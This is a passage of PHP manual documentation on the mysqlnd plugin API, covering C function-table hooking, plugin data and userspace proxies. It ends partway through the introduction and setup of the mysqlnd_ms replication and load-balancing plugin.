The problem is explained here: http://bugs.php.net/bug.php?id=50172
Statistics
MySQL Native Driver Plugin API
Mysqlnd


MySQL Native Driver Plugin API

Table of Contents

  • A comparison of mysqlnd plugins with MySQL Proxy
  • Obtaining the mysqlnd plugin API
  • MySQL Native Driver Plugin Architecture
  • The mysqlnd plugin API
  • Getting started building a mysqlnd plugin

The MySQL Native Driver Plugin API is a feature of MySQL Native Driver, or mysqlnd. Mysqlnd plugins operate in the layer between PHP applications and the MySQL server. This is comparable to MySQL Proxy. MySQL Proxy operates on a layer between any MySQL client application, for example, a PHP application and, the MySQL server. Mysqlnd plugins can undertake typical MySQL Proxy tasks such as load balancing, monitoring and performance optimizations. Due to the different architecture and location, mysqlnd plugins do not have some of MySQL Proxy's disadvantages. For example, with plugins, there is no single point of failure, no dedicated proxy server to deploy, and no new programming language to learn (Lua).

A mysqlnd plugin can be thought of as an extension to mysqlnd. Plugins can intercept the majority of mysqlnd functions. The mysqlnd functions are called by the PHP MySQL extensions such as ext/mysql, ext/mysqli, and PDO_MYSQL. As a result, it is possible for a mysqlnd plugin to intercept all calls made to these extensions from the client application.

Internal mysqlnd function calls can also be intercepted, or replaced. There are no restrictions on manipulating mysqlnd internal function tables. It is possible to set things up so that when certain mysqlnd functions are called by the extensions that use mysqlnd, the call is directed to the appropriate function in the mysqlnd plugin. The ability to manipulate mysqlnd internal function tables in this way allows maximum flexibility for plugins.

Mysqlnd plugins are in fact PHP Extensions, written in C, that use the mysqlnd plugin API (which is built into MySQL Native Driver, mysqlnd). Plugins can be made 100% transparent to PHP applications. No application changes are needed because plugins operate on a different layer. The mysqlnd plugin can be thought of as operating in a layer below mysqlnd.

The following list represents some possible applications of mysqlnd plugins.

  • Load Balancing

    • Read/Write Splitting. An example of this is the PECL/mysqlnd_ms (Master Slave) extension. This extension splits read/write queries for a replication setup.

    • Failover

    • Round-Robin, least loaded

  • Monitoring

    • Query Logging

    • Query Analysis

    • Query Auditing. An example of this is the PECL/mysqlnd_sip (SQL Injection Protection) extension. This extension inspects queries and executes only those that are allowed according to a ruleset.

  • Performance

    • Caching. An example of this is the PECL/mysqlnd_qc (Query Cache) extension.

    • Throttling

    • Sharding. An example of this is the PECL/mysqlnd_mc (Multi Connect) extension. This extension will attempt to split a SELECT statement into n-parts, using SELECT ... LIMIT part_1, SELECT LIMIT part_n. It sends the queries to distinct MySQL servers and merges the result at the client.

MySQL Native Driver Plugins Available

There are a number of mysqlnd plugins already available. These include:

  • PECL/mysqlnd_mc - Multi Connect plugin.

  • PECL/mysqlnd_ms - Master Slave plugin.

  • PECL/mysqlnd_qc - Query Cache plugin.

  • PECL/mysqlnd_pscache - Prepared Statement Handle Cache plugin.

  • PECL/mysqlnd_sip - SQL Injection Protection plugin.

  • PECL/mysqlnd_uh - User Handler plugin.

User Contributed Notes

There are no user contributed notes for this page.
Notes
A comparison of mysqlnd plugins with MySQL Proxy
Mysqlnd


A comparison of mysqlnd plugins with MySQL Proxy

Mysqlnd plugins and MySQL Proxy are different technologies using different approaches. Both are valid tools for solving a variety of common tasks such as load balancing, monitoring, and performance enhancements. An important difference is that MySQL Proxy works with all MySQL clients, whereas mysqlnd plugins are specific to PHP applications.

As a PHP Extension, a mysqlnd plugin gets installed on the PHP application server, along with the rest of PHP. MySQL Proxy can either be run on the PHP application server or can be installed on a dedicated machine to handle multiple PHP application servers.

Deploying MySQL Proxy on the application server has two advantages:

  1. No single point of failure

  2. Easy to scale out (horizontal scale out, scale by client)

MySQL Proxy (and mysqlnd plugins) can solve problems easily which otherwise would have required changes to existing applications.

However, MySQL Proxy does have some disadvantages:

  • MySQL Proxy is a new component and technology to master and deploy.

  • MySQL Proxy requires knowledge of the Lua scripting language.

MySQL Proxy can be customized with C and Lua programming. Lua is the preferred scripting language of MySQL Proxy. For most PHP experts Lua is a new language to learn. A mysqlnd plugin can be written in C. It is also possible to write plugins in PHP using » PECL/mysqlnd_uh.

MySQL Proxy runs as a daemon - a background process. MySQL Proxy can recall earlier decisions, as all state can be retained. However, a mysqlnd plugin is bound to the request-based lifecycle of PHP. MySQL Proxy can also share one-time computed results among multiple application servers. A mysqlnd plugin would need to store data in a persistent medium to be able to do this. Another daemon would need to be used for this purpose, such as Memcache. This gives MySQL Proxy an advantage in this case.

MySQL Proxy works on top of the wire protocol. With MySQL Proxy you have to parse and reverse engineer the MySQL Client Server Protocol. Actions are limited to those that can be achieved by manipulating the communication protocol. If the wire protocol changes (which happens very rarely) MySQL Proxy scripts would need to be changed as well.

Mysqlnd plugins work on top of the C API, which mirrors the libmysql client and Connector/C APIs. This C API is basically a wrapper around the MySQL Client Server protocol, or wire protocol, as it is sometimes called. You can intercept all C API calls. PHP makes use of the C API, therefore you can hook all PHP calls, without the need to program at the level of the wire protocol.

Mysqlnd implements the wire protocol. Plugins can therefore parse, reverse engineer, manipulate and even replace the communication protocol. However, this is usually not required.

As plugins allow you to create implementations that use two levels (C API and wire protocol), they have greater flexibility than MySQL Proxy. If a mysqlnd plugin is implemented using the C API, any subsequent changes to the wire protocol do not require changes to the plugin itself.

User Contributed Notes

There are no user contributed notes for this page.
MySQL Native Driver Plugin API
Obtaining the mysqlnd plugin API
MySQL Native Driver Plugin API


Obtaining the mysqlnd plugin API

The mysqlnd plugin API is simply part of the MySQL Native Driver PHP extension, ext/mysqlnd. Development started on the mysqlnd plugin API in December 2009. It is developed as part of the PHP source repository, and as such is available to the public either via SVN, or through source snapshot downloads.

The following table shows PHP versions and the corresponding mysqlnd version contained within.

PHP Version | MySQL Native Driver version
5.3.0 | 5.0.5
5.3.1 | 5.0.5
5.3.2 | 5.0.7
5.3.3 | 5.0.7
5.3.4 | 5.0.7

Plugin developers can determine the mysqlnd version through accessing MYSQLND_VERSION, which is a string of the format "mysqlnd 5.0.7-dev - 091210 - $Revision: 300535", or through MYSQLND_VERSION_ID, which is an integer such as 50007. Developers can calculate the version number as follows:

Version (part) | Example
Major*10000 | 5*10000 = 50000
Minor*100 | 0*100 = 0
Patch | 7 = 7
MYSQLND_VERSION_ID | 50007

During development, developers should refer to the mysqlnd version number for compatibility and version tests, as several iterations of mysqlnd could occur during the lifetime of a PHP development branch with a single PHP version number.

User Contributed Notes

There are no user contributed notes for this page.
A comparison of mysqlnd plugins with MySQL Proxy
MySQL Native Driver Plugin Architecture
MySQL Native Driver Plugin API


MySQL Native Driver Plugin Architecture

This section provides an overview of the mysqlnd plugin architecture.

MySQL Native Driver Overview

Before developing mysqlnd plugins, it is useful to know a little of how mysqlnd itself is organized. Mysqlnd consists of the following modules:

Modules Statistics | mysqlnd_statistics.c
Connection | mysqlnd.c
Resultset | mysqlnd_result.c
Resultset Metadata | mysqlnd_result_meta.c
Statement | mysqlnd_ps.c
Network | mysqlnd_net.c
Wire protocol | mysqlnd_wireprotocol.c

C Object Oriented Paradigm

At the code level, mysqlnd uses a C pattern for implementing object orientation.

In C you use a struct to represent an object. Members of the struct represent object properties. Struct members pointing to functions represent methods.

Unlike with other languages such as C++ or Java, there are no fixed rules on inheritance in the C object oriented paradigm. However, there are some conventions that need to be followed that will be discussed later.

The PHP Life Cycle

When considering the PHP life cycle there are two basic cycles:

  • PHP engine startup and shutdown cycle

  • Request cycle

When the PHP engine starts up it will call the module initialization (MINIT) function of each registered extension. This allows each module to setup variables and allocate resources that will exist for the lifetime of the PHP engine process. When the PHP engine shuts down it will call the module shutdown (MSHUTDOWN) function of each extension.

During the lifetime of the PHP engine it will receive a number of requests. Each request constitutes another life cycle. On each request the PHP engine will call the request initialization function of each extension. The extension can perform any variable setup and resource allocation required for request processing. As the request cycle ends the engine calls the request shutdown (RSHUTDOWN) function of each extension so the extension can perform any cleanup required.

How a plugin works

A mysqlnd plugin works by intercepting calls made to mysqlnd by extensions that use mysqlnd. This is achieved by obtaining the mysqlnd function table, backing it up, and replacing it by a custom function table, which calls the functions of the plugin as required.

The following code shows how the mysqlnd function table is replaced:

/* a place to store orginal function table */
struct st_mysqlnd_conn_methods org_methods;

void minit_register_hooks(TSRMLS_D) {
  /* active function table */
  struct st_mysqlnd_conn_methods * current_methods
    = mysqlnd_conn_get_methods();

  /* backup original function table */
  memcpy(&org_methods, current_methods,
    sizeof(struct st_mysqlnd_conn_methods);

  /* install new methods */
  current_methods->query = MYSQLND_METHOD(my_conn_class, query);
}

Connection function table manipulations must be done during Module Initialization (MINIT). The function table is a global shared resource. In an multi-threaded environment, with a TSRM build, the manipulation of a global shared resource during the request processing will almost certainly result in conflicts.

Note:

Do not use any fixed-size logic when manipulating the mysqlnd function table: new methods may be added at the end of the function table. The function table may change at any time in the future.

Calling parent methods

If the original function table entries are backed up, it is still possible to call the original function table entries - the parent methods.

In some cases, such as for Connection::stmt_init(), it is vital to call the parent method prior to any other activity in the derived method.

MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn,
  const char *query, unsigned int query_len TSRMLS_DC) {

  php_printf("my_conn_class::query(query = %s)\n", query);

  query = "SELECT 'query rewritten' FROM DUAL";
  query_len = strlen(query);

  return org_methods.query(conn, query, query_len); /* return with call to parent */
}

Extending properties

A mysqlnd object is represented by a C struct. It is not possible to add a member to a C struct at run time. Users of mysqlnd objects cannot simply add properties to the objects.

Arbitrary data (properties) can be added to a mysqlnd objects using an appropriate function of the mysqlnd_plugin_get_plugin_<object>_data() family. When allocating an object mysqlnd reserves space at the end of the object to hold a void * pointer to arbitrary data. mysqlnd reserves space for one void * pointer per plugin.

The following table shows how to calculate the position of the pointer for a specific plugin:

Memory address | Contents
0 | Beginning of the mysqlnd object C struct
n | End of the mysqlnd object C struct
n + (m x sizeof(void*)) | void* to object data of the m-th plugin

If you plan to subclass any of the mysqlnd object constructors, which is allowed, you must keep this in mind!

The following code shows extending properties:

/* any data we want to associate */
typedef struct my_conn_properties {
  unsigned long query_counter;
} MY_CONN_PROPERTIES;

/* plugin id */
unsigned int my_plugin_id;

void minit_register_hooks(TSRMLS_D) {
  /* obtain unique plugin ID */
  my_plugin_id = mysqlnd_plugin_register();
  /* snip - see Extending Connection: methods */
}

static MY_CONN_PROPERTIES** get_conn_properties(const MYSQLND *conn TSRMLS_DC) {
  MY_CONN_PROPERTIES** props;
  props = (MY_CONN_PROPERTIES**)mysqlnd_plugin_get_plugin_connection_data(
    conn, my_plugin_id);
  if (!props || !(*props)) {
    *props = mnd_pecalloc(1, sizeof(MY_CONN_PROPERTIES), conn->persistent);
    (*props)->query_counter = 0;
  }
  return props;
}

The plugin developer is responsible for the management of plugin data memory.

Use of the mysqlnd memory allocator is recommended for plugin data. These functions are named using the convention: mnd_*loc(). The mysqlnd allocator has some useful features, such as the ability to use a debug allocator in a non-debug build.

When and how to subclass

 | When to subclass? | Each instance has its own private function table? | How to subclass?
Connection (MYSQLND) | MINIT | No | mysqlnd_conn_get_methods()
Resultset (MYSQLND_RES) | MINIT or later | Yes | mysqlnd_result_get_methods() or object method function table manipulation
Resultset Meta (MYSQLND_RES_METADATA) | MINIT | No | mysqlnd_result_metadata_get_methods()
Statement (MYSQLND_STMT) | MINIT | No | mysqlnd_stmt_get_methods()
Network (MYSQLND_NET) | MINIT or later | Yes | mysqlnd_net_get_methods() or object method function table manipulation
Wire protocol (MYSQLND_PROTOCOL) | MINIT or later | Yes | mysqlnd_protocol_get_methods() or object method function table manipulation

You must not manipulate function tables at any time later than MINIT if it is not allowed according to the above table.

Some classes contain a pointer to the method function table. All instances of such a class will share the same function table. To avoid chaos, in particular in threaded environments, such function tables must only be manipulated during MINIT.

Other classes use copies of a globally shared function table. The class function table copy is created together with the object. Each object uses its own function table. This gives you two options: you can manipulate the default function table of an object at MINIT, and you can additionally refine methods of an object without impacting other instances of the same class.

The advantage of the shared function table approach is performance. There is no need to copy a function table for each and every object.

Constructors

Allocation, construction, reset | Can be modified? | Caller
Connection (MYSQLND) | mysqlnd_init() | No | mysqlnd_connect()
Resultset(MYSQLND_RES)

Allocation:

  • Connection::result_init()

Reset and re-initialized during:

  • Result::use_result()

  • Result::store_result

Yes, but call parent!

  • Connection::list_fields()

  • Statement::get_result()

  • Statement::prepare() (Metadata only)

  • Statement::resultMetaData()

Resultset Meta (MYSQLND_RES_METADATA) | Connection::result_meta_init() | Yes, but call parent! | Result::read_result_metadata()
Statement (MYSQLND_STMT) | Connection::stmt_init() | Yes, but call parent! | Connection::stmt_init()
Network (MYSQLND_NET) | mysqlnd_net_init() | No | Connection::init()
Wire protocol (MYSQLND_PROTOCOL) | mysqlnd_protocol_init() | No | Connection::init()

It is strongly recommended that you do not entirely replace a constructor. The constructors perform memory allocations. The memory allocations are vital for the mysqlnd plugin API and the object logic of mysqlnd. If you do not care about warnings and insist on hooking the constructors, you should at least call the parent constructor before doing anything in your constructor.

Regardless of all warnings, it can be useful to subclass constructors. Constructors are the perfect place for modifying the function tables of objects with non-shared object tables, such as Resultset, Network, Wire Protocol.

Destruction

 | Derived method must call parent? | Destructor
Connection | yes, after method execution | free_contents(), end_psession()
Resultset | yes, after method execution | free_result()
Resultset Meta | yes, after method execution | free()
Statement | yes, after method execution | dtor(), free_stmt_content()
Network | yes, after method execution | free()
Wire protocol | yes, after method execution | free()

The destructors are the appropriate place to free properties, mysqlnd_plugin_get_plugin_<object>_data().

The listed destructors may not be equivalent to the actual mysqlnd method freeing the object itself. However, they are the best possible place for you to hook in and free your plugin data. As with constructors you may replace the methods entirely but this is not recommended. If multiple methods are listed in the above table you will need to hook all of the listed methods and free your plugin data in whichever method is called first by mysqlnd.

The recommended method for plugins is to simply hook the methods, free your memory and call the parent implementation immediately following this.

Caution

Due to a bug in PHP versions 5.3.0 to 5.3.3, plugins do not associate plugin data with a persistent connection. This is because ext/mysql and ext/mysqli do not trigger all the necessary mysqlnd end_psession() method calls and the plugin may therefore leak memory. This has been fixed in PHP 5.3.4.

User Contributed Notes

There are no user contributed notes for this page.
Obtaining the mysqlnd plugin API
The mysqlnd plugin API
MySQL Native Driver Plugin API


The mysqlnd plugin API

The following is a list of functions provided in the mysqlnd plugin API:

  • mysqlnd_plugin_register()

  • mysqlnd_plugin_count()

  • mysqlnd_plugin_get_plugin_connection_data()

  • mysqlnd_plugin_get_plugin_result_data()

  • mysqlnd_plugin_get_plugin_stmt_data()

  • mysqlnd_plugin_get_plugin_net_data()

  • mysqlnd_plugin_get_plugin_protocol_data()

  • mysqlnd_conn_get_methods()

  • mysqlnd_result_get_methods()

  • mysqlnd_result_meta_get_methods()

  • mysqlnd_stmt_get_methods()

  • mysqlnd_net_get_methods()

  • mysqlnd_protocol_get_methods()

There is no formal definition of what a plugin is and how a plugin mechanism works.

Components often found in plugins mechanisms are:

  • A plugin manager

  • A plugin API

  • Application services (or modules)

  • Application service APIs (or module APIs)

The mysqlnd plugin concept employs these features, and additionally enjoys an open architecture.

No Restrictions

A plugin has full access to the inner workings of mysqlnd. There are no security limits or restrictions. Everything can be overwritten to implement friendly or hostile algorithms. It is recommended you only deploy plugins from a trusted source.

As discussed previously, plugins can use pointers freely. These pointers are not restricted in any way, and can point into another plugin's data. Simple offset arithmetic can be used to read another plugin's data.

It is recommended that you write cooperative plugins, and that you always call the parent method. The plugins should always cooperate with mysqlnd itself.

Issues: an example of chaining and cooperation

Extension | mysqlnd.query() pointer | call stack if calling parent
ext/mysqlnd | mysqlnd.query() | mysqlnd.query
ext/mysqlnd_cache mysqlnd_cache.query()

  1. mysqlnd_cache.query()

  2. mysqlnd.query

ext/mysqlnd_monitor mysqlnd_monitor.query()

  1. mysqlnd_monitor.query()

  2. mysqlnd_cache.query()

  3. mysqlnd.query

In this scenario, a cache (ext/mysqlnd_cache) and a monitor (ext/mysqlnd_monitor) plugin are loaded. Both subclass Connection::query(). Plugin registration happens at MINIT using the logic shown previously. PHP calls extensions in alphabetical order by default. Plugins are not aware of each other and do not set extension dependencies.

By default the plugins call the parent implementation of the query method in their derived version of the method.

PHP Extension Recap

This is a recap of what happens when using an example plugin, ext/mysqlnd_plugin, which exposes the mysqlnd C plugin API to PHP:

  • Any PHP MySQL application tries to establish a connection to 192.168.2.29

  • The PHP application will either use ext/mysql, ext/mysqli or PDO_MYSQL. All three PHP MySQL extensions use mysqlnd to establish the connection to 192.168.2.29.

  • Mysqlnd calls its connect method, which has been subclassed by ext/mysqlnd_plugin.

  • ext/mysqlnd_plugin calls the userspace hook proxy::connect() registered by the user.

  • The userspace hook changes the connection host IP from 192.168.2.29 to 127.0.0.1 and returns the connection established by parent::connect().

  • ext/mysqlnd_plugin performs the equivalent of parent::connect(127.0.0.1) by calling the original mysqlnd method for establishing a connection.

  • ext/mysqlnd establishes a connection and returns to ext/mysqlnd_plugin. ext/mysqlnd_plugin returns as well.

  • Whatever PHP MySQL extension had been used by the application, it receives a connection to 127.0.0.1. The PHP MySQL extension itself returns to the PHP application. The circle is closed.

User Contributed Notes

There are no user contributed notes for this page.
MySQL Native Driver Plugin Architecture
Getting started building a mysqlnd plugin
MySQL Native Driver Plugin API


Getting started building a mysqlnd plugin

It is important to remember that a mysqlnd plugin is itself a PHP extension.

The following code shows the basic structure of the MINIT function that will be used in the typical mysqlnd plugin:

/* my_php_mysqlnd_plugin.c */

 static PHP_MINIT_FUNCTION(mysqlnd_plugin) {
  /* globals, ini entries, resources, classes */

  /* register mysqlnd plugin */
  mysqlnd_plugin_id = mysqlnd_plugin_register();

  conn_m = mysqlnd_get_conn_methods();
  memcpy(org_conn_m, conn_m,
    sizeof(struct st_mysqlnd_conn_methods));

  conn_m->query = MYSQLND_METHOD(mysqlnd_plugin_conn, query);
  conn_m->connect = MYSQLND_METHOD(mysqlnd_plugin_conn, connect);
}

/* my_mysqlnd_plugin.c */

 enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, query)(/* ... */) {
  /* ... */
}
enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, connect)(/* ... */) {
  /* ... */
}

Task analysis: from C to userspace

 class proxy extends mysqlnd_plugin_connection {
  public function connect($host, ...) { .. }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

Process:

  1. PHP: user registers plugin callback

  2. PHP: user calls any PHP MySQL API to connect to MySQL

  3. C: ext/*mysql* calls mysqlnd method

  4. C: mysqlnd ends up in ext/mysqlnd_plugin

  5. C: ext/mysqlnd_plugin

    1. Calls userspace callback

    2. Or orginal mysqlnd method, if userspace callback not set

You need to carry out the following:

  1. Write a class "mysqlnd_plugin_connection" in C

  2. Accept and register proxy object through "mysqlnd_plugin_set_conn_proxy()"

  3. Call userspace proxy methods from C (optimization - zend_interfaces.h)

Userspace object methods can either be called using call_user_function() or you can operate at a level closer to the Zend Engine and use zend_call_method().

Optimization: calling methods from C using zend_call_method

The following code snippet shows the prototype for the zend_call_method function, taken from zend_interfaces.h.

 ZEND_API zval* zend_call_method(
  zval **object_pp, zend_class_entry *obj_ce,
  zend_function **fn_proxy, char *function_name,
  int function_name_len, zval **retval_ptr_ptr,
  int param_count, zval* arg1, zval* arg2 TSRMLS_DC
);

Zend API supports only two arguments. You may need more, for example:

 enum_func_status (*func_mysqlnd_conn__connect)(
  MYSQLND *conn, const char *host,
  const char * user, const char * passwd,
  unsigned int passwd_len, const char * db,
  unsigned int db_len, unsigned int port,
  const char * socket, unsigned int mysql_flags TSRMLS_DC
);

To get around this problem you will need to make a copy of zend_call_method() and add a facility for additional parameters. You can do this by creating a set of MY_ZEND_CALL_METHOD_WRAPPER macros.

Calling PHP userspace

This code snippet shows the optimized method for calling a userspace function from C:

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class,connect)(
  MYSQLND *conn, const char *host /* ... */ TSRMLS_DC) {
  enum_func_status ret = FAIL;
  zval * global_user_conn_proxy = fetch_userspace_proxy();
  if (global_user_conn_proxy) {
    /* call userspace proxy */
    ret = MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, host, /*...*/);
  } else {
    /* or original mysqlnd method = do nothing, be transparent */
    ret = org_methods.connect(conn, host, user, passwd,
          passwd_len, db, db_len, port,
          socket, mysql_flags TSRMLS_CC);
  }
  return ret;
}

Calling userspace: simple arguments

/* my_mysqlnd_plugin.c */

 MYSQLND_METHOD(my_conn_class,connect)(
  /* ... */, const char *host, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_host;
    MAKE_STD_ZVAL(zv_host);
    ZVAL_STRING(zv_host, host, 1);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_host);
    /* ... */
  }
  /* ... */
}

Calling userspace: structs as arguments

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class, connect)(
  MYSQLND *conn, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_conn;
    ZEND_REGISTER_RESOURCE(zv_conn, (void *)conn, le_mysqlnd_plugin_conn);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_conn, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_conn);
    /* ... */
  }
  /* ... */
}

The first argument of many mysqlnd methods is a C "object". For example, the first argument of the connect() method is a pointer to MYSQLND. The struct MYSQLND represents a mysqlnd connection object.

The mysqlnd connection object pointer can be compared to a standard I/O file handle. Like a standard I/O file handle a mysqlnd connection object shall be linked to the userspace using the PHP resource variable type.

From C to userspace and back

 class proxy extends mysqlnd_plugin_connection {
  public function connect($conn, $host, ...) {
    /* "pre" hook */
    printf("Connecting to host = '%s'\n", $host);
    debug_print_backtrace();
    return parent::connect($conn);
  }

  public function query($conn, $query) {
    /* "post" hook */
    $ret = parent::query($conn, $query);
    printf("Query = '%s'\n", $query);
    return $ret;
  }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

PHP users must be able to call the parent implementation of an overwritten method.

As a result of subclassing it is possible to refine only selected methods and you can choose to have "pre" or "post" hooks.

Buildin class: mysqlnd_plugin_connection::connect()

/*  my_mysqlnd_plugin_classes.c */

 PHP_METHOD("mysqlnd_plugin_connection", connect) {
  /* ... simplified! ... */
  zval* mysqlnd_rsrc;
  MYSQLND* conn;
  char* host; int host_len;
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rs",
    &mysqlnd_rsrc, &host, &host_len) == FAILURE) {
    RETURN_NULL();
  }
  ZEND_FETCH_RESOURCE(conn, MYSQLND* conn, &mysqlnd_rsrc, -1,
    "Mysqlnd Connection", le_mysqlnd_plugin_conn);
  if (PASS == org_methods.connect(conn, host, /* simplified! */ TSRMLS_CC))
    RETVAL_TRUE;
  else
    RETVAL_FALSE;
}

User Contributed Notes

There are no user contributed notes for this page.
The mysqlnd plugin API
mysqlnd_ms
MySQL Native Driver Plugin API


Mysqlnd replication and load balancing plugin

  • Introduction
  • Quickstart and Examples
    • Setup
    • Running statements
    • Connection state
    • SQL Hints
    • Transactions
    • Service level and consistency
    • Global transaction IDs
  • Concepts
    • Architecture
    • Connection pooling and switching
    • Transaction handling
    • Error handling
    • Failover
    • Load balancing
    • Read-write splitting
    • Filter
    • Service level and consistency
    • Global transaction IDs
    • Supported clusters
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Plugin configuration file (>=1.1.x)
    • Plugin configuration file (<= 1.0.x)
    • Testing
    • Debugging and Tracing
    • Monitoring
  • Predefined Constants
  • Mysqlnd_ms Functions
    • mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID
    • mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection
    • mysqlnd_ms_get_stats — Returns query distribution and connection statistics
    • mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not
    • mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server
    • mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster
    • mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting
  • Change History
    • PECL/mysqlnd_ms 1.2 series
    • PECL/mysqlnd_ms 1.1 series
    • PECL/mysqlnd_ms 1.0 series

User Contributed Notes

There are no user contributed notes for this page.
Getting started building a mysqlnd plugin
Introduction
MySQL


Introduction

The mysqlnd replication and load balancing plugin (mysqlnd_ms) adds easy to use MySQL replication support to all PHP MySQL extensions that use mysqlnd.

As of version PHP 5.3.3 the MySQL native driver for PHP (mysqlnd) features an internal plugin C API. C plugins, such as the replication and load balancing plugin, can extend the functionality of mysqlnd.

The MySQL native driver for PHP is a C library that ships together with PHP as of PHP 5.3.0. It serves as a drop-in replacement for the MySQL Client Library (libmysql/libmysqlclient). Using mysqlnd has several advantages: no extra downloads are required because it's bundled with PHP, it's under the PHP license, there is lower memory consumption in certain cases, and it contains new functionality such as asynchronous queries.

Mysqlnd plugins like mysqlnd_ms operate, for the most part, transparently from a user perspective. The replication and load balancing plugin supports all PHP applications, and all MySQL PHP extensions. It does not change existing APIs. Therefore, it can easily be used with existing PHP applications.

Note:

The mysqlnd replication and load balancing plugin is a beta plugin, and is not feature complete.

Key Features

The key features of PECL/mysqlnd_ms are as follows.

  • Transparent and therefore easy to use.

    • Supports all of the PHP MySQL extensions.

    • SSL support.

    • A consistent API.

    • Little to no application changes required, dependent on the required usage scenario.

    • Lazy connections: connections to master and slave servers are not opened before a SQL statement is executed.

    • Optional: automatic use of master after the first write in a web request, to lower the possible impact of replication lag.

  • Featured read-write split strategies

    • Automatic detection of SELECT.

    • Supports SQL hints to overrule automatism.

    • User-defined.

    • Can be disabled for, for example, when using synchronous clusters such as MySQL Cluster.

  • Featured load balancing strategies

    • Round Robin: choose a different slave in round-robin fashion for every slave request.

    • Random: choose a random slave for every slave request.

    • Random once (sticky): choose a random slave once to run all slave requests for the duration of a web request.

    • User-defined. The application can register callbacks with mysqlnd_ms.

    • PHP 5.4.0 or newer: transaction aware when using API calls only to control transactions.

  • Global transaction ID

    • Client-side emulation. Makes manual master server failover and slave promotion easier with asynchronous clusters, such as MySQL Replication.

    • Supports using transaction ids to identify up-to-date asynchronous slaves for reading when session consistency is required.

  • Service and consistency levels

    • Applications can request eventual, session and strong consistency service levels for connections. Appropriate cluster nodes will be searched automatically.

Limitations

The plugin does not support MySQL replication setups with more than one master server. The experimental configuration setting mysqlnd_ms.multi_master was introduced in version 1.1.0-beta, to help find ways to remove this limitation and to enable the use of synchronous clusters, such as MySQL Cluster.

The built-in read/write-split mechanism is very basic. Every query which starts with SELECT is considered a read request to be sent to a MySQL slave server. All other queries (such as SHOW statements) are considered as write requests that are sent to the MySQL master server. The build-in behavior can be overruled using SQL hints, or a user-defined callback function.

The read/write splitter is not aware of multi-statements. Multi-statements are considered as one statement. The decision of where to run the statement will be based on the beginning of the statement string. For example, if using mysqli_multi_query() to execute the multi-statement SELECT id FROM test ; INSERT INTO test(id) VALUES (1), the statement will be redirected to a slave server because it begins with SELECT. The INSERT statement, which is also part of the multi-statement, will not be redirected to a master server.

Prior to version 1.1.0-beta, the plugin did not support native prepared statements. Please note that PDO_MySQL uses client-side prepared statement emulation by default. Client-side emulated prepared statements are fully supported by any version of the replication and load balancing plugin because the emulation is not using native prepared statements. If you are using PHP based database abstraction, please consult the vendor manual to learn if a client-side prepared statement emulation is used.

Note:

Applications must be aware of the consequences of connection switches that are performed for load balancing purposes. Please check the documentation on connection pooling and switching, transaction handling, failover load balancing and read-write splitting.

On the name

The shortcut mysqlnd_ms stands for mysqlnd master slave plugin. The name was chosen for a quick-and-dirty proof-of-concept. In the beginning the developers did not expect to continue using the code base.

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_ms
Quickstart and Examples
mysqlnd_ms


Quickstart and Examples

Table of Contents

  • Setup
  • Running statements
  • Connection state
  • SQL Hints
  • Transactions
  • Service level and consistency
  • Global transaction IDs

The mysqlnd replication load balancing plugin is easy to use. This quickstart will demo typical use-cases, and provide practical advice on getting started.

It is strongly recommended to read the reference sections in addition to the quickstart. The quickstart tries to avoid discussing theoretical concepts and limitations. Instead, it will link to the reference sections. It is safe to begin with the quickstart. However, before using the plugin in mission critical environments we urge you to read additionally the background information from the reference sections.

The focus is on using PECL mysqlnd_ms for work with an asynchronous MySQL cluster, namelys MySQL replication. Generally speaking an asynchronous cluster is more difficult to use than a synchronous one. Thus, users of, for example, MySQL Cluster will find more information than needed.

Note:

The documentation has been updated to show the syntax used as of version 1.1.0-beta. PECL/mysqlnd_ms 1.1.0-beta introduces many changes. Among others, it is using a new JSON based plugin configuration file format.

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Setup
mysqlnd_ms


Setup

The plugin is implemented as a PHP extension. See also the installation instructions to install the » PECL/mysqlnd_ms extension.

Compile or configure the PHP MySQL extension (API) (mysqli, PDO_MYSQL, mysql) that you plan to use with support for the mysqlnd library. PECL/mysqlnd_ms is a plugin for the mysqlnd library. To use the plugin with any of the PHP MySQL extensions, the extension has to use the mysqlnd library.

Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_ms.enable.

Example #1 Enabling the plugin (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.ini_file=/path/to/mysqlnd_ms_plugin.ini

The plugin uses its own configuration file. Use the PHP configuration directive mysqlnd_ms.ini_file to set the full file path to the plugin-specific configuration file. This file must be readable by PHP (e.g., the web server user).

Create a plugin-specific configuration file. Save the file to the path set by the PHP configuration directive mysqlnd_ms.ini_file.

The plugins configuration file is JSON based. It is divided into one or more sections. Each section has a name, for example, myapp. Every section makes its own set of configuration settings.

A section must, at a minimum, list the MySQL replication master server, and set a list of slaves. The plugin supports using only one master server per section. Multi-master MySQL replication setups are not yet fully supported. Use the configuration setting master to set the hostname, and the port or socket of the MySQL master server. MySQL slave servers are configured using the slave keyword.

Example #2 Minimal plugin-specific configuration file (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
